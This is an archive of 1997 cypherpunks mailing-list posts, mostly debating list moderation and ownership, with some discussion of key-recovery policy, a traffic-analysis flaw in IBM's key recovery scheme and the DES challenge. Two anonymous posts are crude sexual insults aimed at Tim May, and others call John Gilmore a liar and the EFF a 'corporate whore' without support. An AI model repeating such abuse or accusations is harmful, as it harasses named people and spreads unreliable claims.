Date: Tue, 4 Feb 1997 03:07:54 -0800 (PST)
To: Wei Dai <weidai@eskimo.com>
Subject: Re: what's in a name?
In-Reply-To: <199702040140.RAA09183@toad.com>
Message-ID: <3.0.1.32.19970204031255.006f0b58@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:58 PM 2/3/97 -0800, Wei Dai wrote:

>An interesting way to look at what happened is that John
>Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
>that ownership. [...]
>I suspect that the hierarchical nature of name ownership on the Internet
>today will be an important technological barrier for the establishment of
>truly anarchic virtual communities.  Unless this problem is solved, the
>closest we'll come is pseudo-anarchies that exist with the tolerance of
>beneficent dictators.

Wei Dai's message raises an important question: what is the relationship
between ownership and list content or quality? 

Much of the pathology of the list in the past few months can be characterized
as a "tragedy of the commons" problem, where several private actors are
seeking to maximize the gain they can extract from a finite and commonly
owned (or unownable) resource. The resource in this case is the "reputation
capital" which has built up in the terms "cypherpunks" and
"cypherpunks@toad.com". Dmitri Vulis' behavior, where he seeks to punish the
list for failing to punish or ostracize Tim May after Tim was disrespectful
to Vulis, is an attempt to achieve private gain (public retribution) at the
expense of public goods (the continuing quality and good name of the list).
Several authors have characterized John Gilmore and Sandy Sandfort's actions
with respect to moderation and the list as an attempt to monopolize or
appropriate the good name of the list for their own private purposes. (I do
not think that the latter characterization is accurate, but it is at least
popular.) I suspect that many people will see at least one "tragedy of the
commons" problem related to the list.

Some free-market economists have suggested that the solution to "tragedy of
the commons" problems is private ownership - that where economic actors are
given ownership over what might have been owned in common, that they will
seek to maximize their long-term gain through careful management and will not
adopt wasteful or harmful short-term strategies which would have otherwise
seemed attractive.

That view (that private ownership is likely to eliminate or at least minimize
wasteful or nonoptimal use of resources) has historically been a popular one
on the list. Yet private ownership of the list (or of the list's most
concrete identity, the label "cypherpunks") seems wrong to many people.

Are mailing lists an example of a situation where "the tragedy of the
commons" is not a useful metaphor? Are mailing lists an example of "public
goods" where private ownership is impossible, or should be avoided? If not,
shouldn't we work towards more private ownership, not less?

Is the desire for an anarchic community at odds with a desire for good use of
resources? 

-----BEGIN PGP SIGNATURE-----
Version: 4.5

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VwY7uVhqvekaX/vNYutg7RpwvhdEz5dneipZMaFOWm0M+8ipZ5Ffb6vNLpRd6h2v
Hf+zF6aTvleTxQX1e3C8nrL1hhXd8HX12nK/Kz4/lOyRYvKw//VxtVa3++2M158t
YtBXQKLlYAW/NMUhMMSuqvkWbCW3PrDBhpsZRXXqWyruIeV3TKHlR4N3Rru74wHj
DPNH8sek3Ql8sjA0BbziUqbC15mLH6QSZbxy4MPVwc2s8r4Ff6t1Ew==
=QFGr
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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Tue, 4 Feb 1997 03:34:01 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Trigger-Words...Trigger-Fingers
In-Reply-To: <199702021555.HAA25437@toad.com>
Message-ID: <32F73B3A.70AE@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Larry Johnson wrote:
> > Cynthia H. Brown wrote:
> [snippo]
> > Theres not many girls on this list, is there?
> [mo' snippo]
> > Anyway, my uncle prints out the girl-cypherpunks stuff for the girls
> > on my list and they think its real cool and they all want to marry
> > technicians so that they can make them work on the computers for them,
> > kind of like making them do the computer dishes, you know.
> [yet mo' snippo]
> 
> I want to get married.  Lots of times.  Are the girls cute?
> I don't do hardware, tho, I'm a software guy.

Yeah their real cute, most of them anyway. Their all nice though. Some of them
would like you cause they dont like regular guys, cause their troublemakers
too. 
I know your a troublemaker (I think thats a good thing) because Ive read your
stuff and myu uncle keeps you in his NotADork/MyAssholes dir. Thats where he 
keeps the troublemakers but its not an insult because he likes what Kevin
(hes a Bodston Celtic said--"Danny Ange is an asshole, but hes _our_ asshole."
  He taght me how to read by using the Froggie manual since I could boot it
myself when he was out of the rooom when I was two year old. Now he teachs
me how to read with the cypherpunk messages and stuff from his govbernment
friends. (Their good government guys though, they like you guys. Their 
really secret guys not lamer regualar secret guys. They laugh at those 
regular secret guys who screw with you guys cause they leave their pecker
tracks all over the place.)
Some people thik Im a lamer cause Im not good with grammer (not on the kids
lists thogh) bu tmy uncle says Ill learn how to do that but Im better to
learn how tho think first. Ive got dsylexia too so I use a spell checkerif
I want to look smart but emailers dont have it.

You guyhs should keep being troublemakers. Really.
My uncle says that if you guys get too polite then you better watcvh your
backs when you curtsy, cause you never know whos sneaking up behind you.
He told me that if I watch you rmodernation that I wont have to have
sex educaton laterer cause I'll already know how to get f*)&%ed.
(Hes funny. His governmnt friends call him the fool becaise hes dumb like
a fox.)
Excuse my spelling but I spell things good once I see them in a dir cause
myu uncle make s me look stuff up before I put it in a dir or he erases
myu dir to make me learn.

I think the girls would like you cause yuou are a computer guy. Ill show 
them your letter. Theeir smart, too. They dont like lamer guys. When their
school computer guy messes up ecveyones stuff then they fix it but they 
dont tell him cause it makes him mad.
Im not real good at 4reading code and stuff but the secret computer guys 
let me drink Scotch with them evcen in the bar at the Holiday In in Santafe
cause Im smarter than them abou t som e stuff even if they are really good.
(I go tm y uncles password on his secret machine by putting my video camera
on the frige with a dead battery and pluging it into his power supply)
(Now when he boots up he will getr Duke Nukem3D and when he leacves it
he will get a message telling him hes a _lamer_.)
He had to go to Lost Alamo again because of you guys and hell gibve me 
sh*&)( when he gets back but not too much cause he said I could do 
anything I want on his secret machine if I got on it.
Im getting to play with Unix cause he has a Spark Card on it that has Unix
on it. (Dos is for lamers but Bill Gates owns ecerything so its cheaper
for kids)

Some lamer said on cypherpunks today that it takes him an hour to get
the pecker messages off his computer. My uncle has me to do it for him
sometimes and it only take me like maybve two minutes. 
If the guy is such a lmaer that it take s hinm an hour then maybe he
should just read only the pecker messages cause they have pictures and
then when he mobes his lips to read then he coul d put them on the
peckers. (Thats a joke)

I like that Tim May is bacvk, if only even for a little while.  When you
guys fight at least you say stuff that isnt kissing ass for other guys 
money.
Im going to make a message to cypherpunsk that says if anyone wants me
to be their moderator then they should not write any messages to the
cypherpunks. Then the 2000 people who dont post will be voting for me
to be their moderator and I will be their boss.
If Im the moderator then I will givbe everyone free pizz a and lots 
and lots of Scotch. (<--Dewars)

I hope you guys stay together. My uncle says sometimes you learn by 
looking and sometimes you leran by seeing whos looking back. But he
tells the  secret gobvernmetn guys not to look back cause their
might be a cypherpunk gaining on them. (Thats a joke)

Ive got to go to bed so I can pretned to get up again. Im sick so I
can do what I want bu t Im not supposed to stya up all night either.
I wont let the door hit me in the ass on my wayout.

Bye,
Human Gus-Peter
p.s. - dont write me after Thursday cause my dad will be back and Ill
get in trouble. My uncle will help me clean u p my mess cause hes not
a squealer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Tue, 4 Feb 1997 05:21:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Elliptic curves
Message-ID: <199702041321.GAA22025@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Tim May's wee-wee is so tiny that only his mommy is allowed 
to touch it.

   /\
  /..\  Tim May
 /_\/_\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 4 Feb 1997 06:21:52 -0800 (PST)
To: cypherpunks, gnu, sandfort@crl.com, hugh
Subject: Moderation, Tim, Sandy, me, etc.  *  Strong crypto == DES?!
Message-ID: <199702041421.GAA27742@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm glad we're talking about some of the real issues here.

Tim May said:
> I don't want Sandy Sandfort sitting in judgment on my
> posts, deciding what the Cypherpunks--a group I co-founded for God's
> sake!!!!--are to be allowed to read and what they may not.

Tim, the Cypherpunks have chosen to follow Sandy's lead for this
month.  I'll admit I made it easy for them, but the results are
conclusive.  There are 1311 addresses in the cypherpunks list today;
42 in the unedited list; and 19 in the flames list.  Forty people
cared enough to read every posting; the other thousand either wanted
to try the experiment -- or didn't care enough to send an email
message.  Which, as we all know, is a very low threshold.

If I was a social scientist I might want to run the experiment both
ways, or six different ways.  Name it this, or name it that.  I'm not;
all I want is something that works.  The cypherpunks list was unusable
for this kind of discussion, only a month ago.  It's usable now.

I'm definitely bugged by the community's attitude toward my
"censorship".  Rather than being glad that someone, anyone, was doing
something about the major problem on the list, 99% of the reaction was
to create even more ill-considered, emotional flamage.  *I* didn't
make the signal/noise get worse at that point -- *you-all* did.

Perhaps at that point I should have shut down the list, as Lucky is
now suggesting.  "Asking the list what to do" was clearly not a useful
option.  Sandy cared enough about the community to make some concrete
suggestions to me about how to get the list back on track.  They
involved a lot more work than the previous setup.  I told him if he
was willing to do the work, we could try it.  As Dale suggests, I
wasn't about to waste my time reading the whole list in real time and
passing judgement on the postings.  Sandy was, for a month.

The element I find most lacking from the whole discussion, until
recently, has been responsibility.  In an anarchy, *everyone* is
responsible; nothing is "somebody else's job".  Sandy felt
responsible, so he proposed something.  I felt responsible, so I
helped.  But a large part of the community sat on the sidelines and
criticized, without making attempts to make things better; indeed the
volume and tone of the criticisms themselves made things worse.
Unpaid labor for a peanut gallery of spoiled children isn't very
gratifying.  You-all remind me of a passage from Booker T.
Washington's book _Up From Slavery_, describing what happened on the
night that news of the Emancipation Proclamation reached the South:

    The wild rejoicing on the part of the emancipated coloured people
    lasted but for a brief period, for I noticed that by the time they
    returned to their cabins there was a change in their feelings.
    The great responsibility of being free, of having charge of
    themselves, of having to think and plan for themselves and their
    children, seemed to take possesion of them.  It was very much like
    suddenly turning a youth of ten or twelve years out into the world
    to provide for himself.  In a few hours the great questions with
    which the Anglo-Saxon race had been grappling for centuries had
    been thrown upon these people to be solved.  These were the
    questions of a home, a living, the rearing of children, education,
    citizenship, and the establishment and support of churches.  Was
    it any wonder that within a few hours the wild rejoicing ceased
    and a feeling of deep gloom seemed to pervade the slave quarters?
    To some it seemed that, now that they were in actual possession of
    it, freedom was a more serious thing than they had expected to
    find it.

Most of the people on the list haven't bothered to face that freedom.
Your de-facto "leaders" have faced it for you.  It is a more serious
thing than than you expect.  All it takes it hard work and judgement.
Be responsible for setting your society's privacy policy -- without
knowing whether you are right.  Face the uncertainty and build anyway.
Shall I post you an Emancipation Proclamation -- as if you needed one?
Start a mailing list on another site!  Move this list to somewhere!
Create and nurture an alt group!  Make an independent moderated list
drawn from the unedited list!  Hold meetings!  Establish for it a
home, a funding, the rearing of newbies, education, citizenship, and
the establishment and support of philosophies.  Dead simple for people
as capable as us.  Just takes work.  Who's volunteering?  Just do it!

The experiment will be over in a few weeks.  Who's going to take over
deciding how to run the list, and running it?

If you want to help organize what I'll call the `progressive crypto
community', for lack of a better term, then please do.  Otherwise, in
the immortal words of Lazarus Long, "PIPE DOWN!".

	John

PS: Can we talk about crypto too?  It's clear from the last few days
of press releases that the pro-GAK forces are again working to confuse
novices into thinking that two very different things are the same
thing.  Last time it was "public key infrastructure" and "key
recovery".  This time it's "strong crypto" and "56-bit DES".  What
should we do about this?  Educate the public?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:42:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc.  *  Strong crypto == DES?!
In-Reply-To: <199702041421.GAA27742@toad.com>
Message-ID: <32F74A94.5F8B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> I'm glad we're talking about some of the real issues here.
> I'm definitely bugged by the community's attitude toward my "censorship".

I'll bet you are.

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.

He'd really like to, but...

> You-all remind me of a passage from Booker T.
> Washington's book _Up From Slavery_, describing what happened on the
> night that news of the Emancipation Proclamation reached the South:

What we most remind him of are slaves.

> Most of the people on the list haven't bothered to face that freedom.

Which freedom is that?

> If you want to help organize what I'll call the `progressive crypto
> community', for lack of a better term, then please do.  Otherwise, in
> the immortal words of Lazarus Long, "PIPE DOWN!".

i.e., stop saying what I don't want to hear and start saying what I
do want to hear, after all, it's *my* list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Tue, 4 Feb 1997 04:21:06 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <8N3k2D1w165w@bwalk.dm.com>
Message-ID: <32F72A82.1C42@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
>> Adam Back wrote:
>> >
>> > Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
>> > an aside, it is ironic that John Gilmore was the guy who started the
>> > alt.* USENET hierarchy, specifically to facilitate freedom of speech).
>> >
>>
>> An interesting idea.
> 
>John Gilmore of EFF is a liar and a hypocrite who likes to claim credit for
>other people's accomplishments.  

  Well EFF itself is a lie--the were very well exposed by Wired Mag. a
while back as being nothing more than a corporate whore.  They represent
the interests of owners not consumers--the ACLU has been very open
in their critisism of the EFF in this regard.  A large corporation
waves some money in front of their noses and tells them to bend
over you can be sure they'll bend over.  Respectable free speech
advocates do not associate with EFF.

>He had nothing whatsoever to do with the creation of the alt.* Usenet 
>hierarchy. Gilmore is a liar and a censor.
> 

  Is Mr. Gilmore making this claim?

>On the other hand, creating an alt.cypherpunks sounds like a more robust
>idea than yet another mailing list.

  And you could merely post this mailing list publically in the
alt group of your choice--I find it interesting at times but not
worth responding to in general since freedom of expressiion is
not a given.

                            Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us>
Date: Tue, 4 Feb 1997 05:51:20 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, Go to Jail
Message-ID: <199702041350.IAA16896@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


in a message allegedly from:  Robert Hettinga <rah@shipwright.com>

this appeared...

>  A Maryland bill that would make it illegal to send "annoying"  or
>  "embarrassing" e-mail was introduced this week by Democratic General
>  Assembly member Samuel Rosenberg.
{snip}
> "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle

As a marylander, in particular, a baltimoron, I am both embarrassed
and annoyed that these legislative bozos have the unmitigated gall
to expend time and energy on pursuits such as these.  Perhaps they
feel that our state attorney general needs to earn his excessive
salary by attempting to defend this constitutionally indefensible
mental excrement.  Did the defeat of CDA not resonate? 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 4 Feb 1997 06:18:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More Hacking of the Mykotronx Site!
Message-ID: <1.5.4.32.19970204141231.006c9760@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


While this report may be true, I wonder if it's not a spoof or even
official disinformation to mislead about the details of Aaron's mission 
as well as what Rainbow and others are really peddling to
rabble-fearing paranoids.

This last sentence seems a bit too melodramatic even for a suck-up
crippled-chip manufacturer:

>The MYK-82, developed by Mykotronx and fabricated by VLSI Technology,
>Inc., is the first of a series of security products to be developed as
>part of an alliance with the NSA, targeting both Government and
>commercial citizen monitoring markets.

Granted that defense to LEA-market conversionists like to pornograph the 
godawful carnage their technology can wreak on disobedient civilians to 
arouse ex-military-to-LEA converted glands -- do they actually write SOF 
drool like this?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us>
Date: Tue, 4 Feb 1997 06:17:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Information Warfare
Message-ID: <199702041417.JAA22327@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


in a message allegedly from:  Peter Hendrickson <pdh@best.com>

> The cypherpunks list has been under "attack" for some time.
{snip}
> Some people have dismissed the idea that rogue governmental elements
> are behind some of our problems.
{snip}
> We know that "Information Warfare" is the big thing in the defense
> establishment right now.

Information Warfare Conference
sponsored by DPMA/AITP

Washington, DC, March 13-14, 1997
Crystal City Marriott
1999 Jefferson Davis Highway
Arlington, VA  22202

Presentations by:
Major General Michael V. Hayden, Commander, Air Intelligence Agency
Dr. C. Kenneth Allard, Competitive Strategies
Col. H. Stevens, Land Information Warfare Activity

- current service visions and planned program initiatives
- operational concepts for 'third-wave' warfare
- information warfare drivers for 21st century C4I architectures
- emerging technologies and systems for information warfare 
superiority: opportunities on the horizon

'information warfare targets and vulnerabilities', Maxim I. Kovel,
 TASC systems management group

'information warfare for deterrence', William H.J. Manthorpe, Jr.
Applied Physics Laboratory, Johns Hopkins

'adaptive techniques for counter-deception', James Llinas,
technical advisor, DOD JDL, Data Fusion group

'emerging threats come in all sizes and flavors', Eugene Schultz, SRI
consulting

"Information has been termed the 'fifth dimension' in the conduct of 
'third-wave' warfare, and promises to dramatically enhance the role 
of C4I as a force multiplier.  Joint and individual service doctrine 
is emerging for IW, ans is affecting the needs and requirements for 
diverse systems:  from space-based surveillance and communications 
systems to terrestrial image processing, visualization, and 
information fusion systems."

"This conference will provide a valuable forum where military and 
industry staff can interact with key decision-makers to achieve the 
most current possible understanding of Information Warfare concepts, 
initiatives, technologies and potential opportunities.  The Critical 
Questions to be addressed include:

- how is IW changing operational concepts?
- how can we defend the weak links in the planned 
information-intensive reconnaissance, strike, targeting architecture?
- what developments in enabling technologies are needed to support 
current Information Operations, Battlefield Visualization, and 
Information Exploitation initiatives?
-what can be done to develop defensive information technology 
capabilities?

            and last, but _c_e_r_t_a_i_n_l_y_ not least:

- how will we move forward to develop a true offensive IW capability

==============================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 4 Feb 1997 09:21:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM's SecureWay Key Recovery technology
Message-ID: <v03101400af1d1d285770@[207.67.246.99]>
MIME-Version: 1.0
Content-Type: text/plain


>From <http://www.ibm.com/Security/html/prkeyrec.html>:

>At the RSA Conference, IBM announced the details of its highly
>anticipated SecureWay key recovery technology. IBM is developing this
>technology in response to market demands for exportable strong
>encryption required to advance the growth of global e-business.
>[ yada yada yada snipped ]

I attended this presentation. Basically, what they do is to add
two packets to the "channel setup process", one that depends only
on the coorespondents, the other that contains the information
about this particular session.

A problem with this, as I pointed out to the presenters, is
that the first packet can be trivially used for traffic analysis.
The eavesdropper may not be able to determine who is
cooresponding, but they can tell if it is the same people
as in a previous conversation.


>From <http://www.ibm.com/security/html/wp_keyrec2.html>
>In order to minimize the preparation overhead, the recovery information
>is prepared in two phases: one phase is independent of the particular
>session/archive key being prepared; the second phase is dependent on the
>particular key and session parameters. The first phase, which uses
>public-key encryption, can be shared across multiple invocations of key
>recovery preparation, thus reducing overhead. The public-key encryptions
>can be stored for repeated use.
>
As you can see, IBM suggests cacheing the contents of the
first packet, so that you don't have to recalculate it each
time. Imagine how easy traffic analysis would be if the
identification packets were identical instead of just related.



-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <ptrei@acm.org>
Date: Tue, 4 Feb 1997 06:32:28 -0800 (PST)
To: Steve Schear <cypherpunks@toad.com
Subject: Re: GAK/KR spin
Message-ID: <199702041432.GAA28075@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Mon, 3 Feb 1997 14:34:49 -0800
> From:          Steve Schear <azur@netcom.com>
> To:            cypherpunks@toad.com
> Subject:       GAK/KR spin

> Several months back there were discussions on the list regarding renaming
> the government's key escrow/recovery proposals (KRAP comes to mind).  I
> think we need something that's catchy and simple (perhaps already familiar)
> to understand for the semi-litterate citizen units.  I propose we encourage
> use of the terms "crippleware" or "crypto crippleware" when refering to the
> products limited to their weak crypto and/or key escrow/recovery.
> 
> --Steve

For some time, I have been using the term 'espionage-enabled 
software' to describe GAK'd products. Also, 'compromised 
software' - I want to make the point that 'key escrow/recovery' == 
insecure.'

Peter Trei
trei@process.com

PS: I have SW for working on the $10,000 DES challenge available.


 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Tue, 4 Feb 1997 09:41:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES keyspace
Message-ID: <3.0.32.19970204093946.006a5d88@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


Is anyone coordinating (formally or informally) which chunks of the
keyspace has been searched for the DES challenge?  Yes, I know all the
arguments about potential fraud and verification, but it would be nice to
have a Web site that informally listed what had been scanned so far
(verified or not).

Did I perhaps miss something and this is already out there?  URLs
appreciated if so.  If it doesn't exist, I'd be willing to host a site and
play coordinator...

Joel





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Vagner <jlv@sig.bsh.com>
Date: Tue, 4 Feb 1997 07:01:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702032241.OAA04539@toad.com>
Message-ID: <Pine.SGI.3.95.970204095448.15604D-100000@dev.sig.bsh.com>
MIME-Version: 1.0
Content-Type: text/plain



   >(And if Sandy wants comity and good cheer, let him either form
   >his own list or establish a filtered list just the way Blossom
   >and Arachelian did. Hijacking the list to reform it in his own
   >image is dirty pool.) 

Just something from another perspective: I've been on the list for
quite a long time, though I've never posted. I've been online for
over ten years, ran my share of mailing lists, and understand
majordomo quite well.

As far as I can tell, nobody has ever advertised or posted
instructions for joining Blossom's or Arachelian's lists. At one
time I gave a little bit of an effort to find them, to no avail.
They don't seem readily available on the search engines (again, as
of about 6 months ago).

I never did flat out post a request for the information, as it was
not that important for *me* to find it. I imagine that these
individuals might have limited resources for a list-too-large, but
is there really a reason this is request-only info?

---

  Jason Vagner <jlv@sig.bsh.com> Resist KRAP and GAK. Police States 
  Are Bad. "All that one can give is what is going to happen, which may 
  have little to do with a present that you can grasp." - Avital Ronell.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 4 Feb 1997 10:20:22 -0800 (PST)
To: Peter Hendrickson <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <3.0.32.19970204102007.007019f8@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 11:36 PM 2/3/97 -0800, Peter Hendrickson wrote:
>What I have seen is a pretty complete elimination of the signal that
>was there.  Some might argue that this is "just" because Tim stopped
>posting.  But so what?  The result of moderation was the elimination
>of signal.

Nonsense. The signal had left long before the moderation began. The
steepest drop in signal (not S/N ratio) was between shortly before Perry
left and Vulis had completed his takeover. Signal is cause by signal
generators. Most top signal generators, other than Tim, had left because of
pollution caused by the likes of Vulis, aga, and his homophonic boyfriends.

Moderation has nothing to do with the loss of signal other than that signal
from Tim was lost. And while I appreciated Tim's essays, they were never
the sole source of signal on the list. Tim did not even provide the
majority of signal. "Best individual contributor", sure.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 4 Feb 1997 07:42:51 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: New X-Ray Imager
In-Reply-To: <199702040126.RAA08938@toad.com>
Message-ID: <199702041538.KAA16105@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



| A poll last week by the Los Angeles Times found that a majority of people --
| 58 percent -- said they would curtail some civil liberties if it would help
| thwart terrorism. Thirteen percent said it would depend on what rights were
| at stake. The poll didn't ask people to single out any rights.

	Its worth noting the 'if it would help thwart terrorism.'  The
'best,' most expensive anti-terrorism measures ever used in the US
were at the Summer Olympics.  The White House point man on encryption
admitted at last years CFP that Clipper and its derivatives would not
have prevented the Oklahoma city bombing.

	A question worth asking is do we want to apply evolutionary
pressure to terrorists?  I prefer hijacking to bombings wrt aircraft,
but the FAA disagrees.  I prefer having my car stolen without me in
it as well.  (I think John Gilmore asked that question, but I could be
wrong.)

Adam

-- 
Pet peeve of the day: Security companies whose protocols dare not
speak their name, because they don't have one. Guilty company of the
day is now V-One.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 4 Feb 1997 10:55:31 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: New X-Ray Imager
Message-ID: <3.0.32.19970204105556.00704204@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
>
>| A poll last week by the Los Angeles Times found that a majority of
people --
>| 58 percent -- said they would curtail some civil liberties if it would help
>| thwart terrorism. Thirteen percent said it would depend on what rights were
>| at stake. The poll didn't ask people to single out any rights.
>
>	Its worth noting the 'if it would help thwart terrorism.' 

It is irrelevant if terrorism is indeed be thwarted. The public does not
require this to happen. All that matters is to generate the *perception* of
increased security, not to increase security itself.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Tue, 4 Feb 1997 13:30:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: e$
Message-ID: <199702042016.MAA09791@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May is so full of shit that some of 
it bursts out on this mailing list.

           o
       /\O/        O Timothy May
      0  \\    | 0-#
         //    |  / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 4 Feb 1997 09:39:48 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: AltaVista Tunnel
Message-ID: <3.0.1.32.19970204123842.0093d9e0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


The Digital / Microsoft "Driving Force" tour is in our parking lot today
and I got the opportunity to have a look around.  One of the 'stations'
inside the truck is on intranets.  They were showing off a product called
"AltaVista Tunnel" which I assume is their PPTP product.  I say "I assume"
because the guy showing it off had absolutely no clue what he was talking
about.  He triumphantly exclaimed that the encryption was 128-bit, but when
I said "128-bit what?" he cowered and muttered that he didn't know and went
on with his little speech.  The rest of my crypto-specific questions met
with equal dark stares.  And these are the people setting industry standards...
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Real programmers programs never work right the first time. But if you
throw them on the machine they can be patched into working in only a few
30-hours debugging sessions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scottauge@aol.com
Date: Tue, 4 Feb 1997 09:51:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, go to jail
Message-ID: <970204112612_275827339@emout09.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Think they are trying to expand the harrassment laws to directly effect the E
world, but I would think the laws on harrassment would apply anyhow (provided
your in their domain, but then again thats true for all governments...)

---
How has the government interfered in your life today?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 4 Feb 1997 11:25:04 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: New X-Ray Imager
In-Reply-To: <3.0.32.19970204105556.00704204@192.100.81.136>
Message-ID: <199702041919.NAA08584@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Lucky Green wrote:
> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
> >| A poll last week by the Los Angeles Times found that a majority of
> people --
> >| 58 percent -- said they would curtail some civil liberties if it would help
> >| thwart terrorism. Thirteen percent said it would depend on what rights were
> >| at stake. The poll didn't ask people to single out any rights.
> >
> >	Its worth noting the 'if it would help thwart terrorism.' 
> 
> It is irrelevant if terrorism is indeed be thwarted. The public does not
> require this to happen. All that matters is to generate the *perception* of
> increased security, not to increase security itself.

Let's remember though that perception of security applies not
only to passengers, but also to potential terrorists. If they *think*
that they would not be able to bring a bomb easily, they would be less
inclined to do so.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 4 Feb 1997 10:38:06 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks List)
Subject: Re: Moderation, Tim, Sandy, me, etc.  *  Strong crypto == DES?!
In-Reply-To: <199702041421.GAA27742@toad.com>
Message-ID: <199702041838.NAA30479@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm another long time list member.  I've posted before on a number of
occasions but not often.  And I was one of those who subscribed immediately
to the unedited list.  Anyway, herein my 2 cents.


John Gilmore writes:

> Tim May said:
> > I don't want Sandy Sandfort sitting in judgment on my
> > posts, deciding what the Cypherpunks--a group I co-founded for God's
> > sake!!!!--are to be allowed to read and what they may not.
> 
> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
